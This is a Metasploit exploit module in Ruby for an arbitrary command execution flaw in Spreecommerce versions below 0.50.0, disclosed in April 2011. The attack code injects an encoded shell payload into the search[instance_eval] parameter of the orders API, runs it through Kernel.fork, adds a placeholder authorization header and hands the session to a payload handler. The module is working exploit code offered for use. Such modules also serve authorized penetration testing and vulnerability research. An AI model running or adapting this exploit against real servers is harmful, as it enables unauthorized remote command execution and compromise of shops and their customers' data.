Spreecommerce < 0.50.0 Arbitrary Command Execution

##
# $Id: spree_searchlogic_exec.rb 12397 2011-04-21 19:38:42Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Spreecommerce < 0.50.0 Arbitrary Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
					Spreecommerce API searchlogic. Unvalidated input is called via the 
					Ruby send method allowing command execution.
			},
			'Author'         => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12397 $',
			'References'     =>
				[
					[ 'OSVDB', '71900'],
					[ 'URL', 'http://www.spreecommerce.com/blog/2011/04/19/security-fixes/' ],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 31337,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
						}
				},
			'Platform'       => [ 'unix', 'linux' ],
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Apr 19 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]),
				], self.class)
	end

	def exploit
		command = Rex::Text.uri_encode(payload.encoded)
		urlconfigdir = datastore['URI'] + "api/orders.json?search[instance_eval]=Kernel.fork%20do%60#{command}%60end"
		res = send_request_raw({
			'uri'     => urlconfigdir,
			'method'  => 'GET',
			'headers' =>
			{
				'HTTP_AUTHORIZATION' => 'ABCD', #needs to be present
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'Connection' => 'Close',
			}
		}, 0.4 ) #short timeout, we don't care about the response
		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		end
		handler
	end

end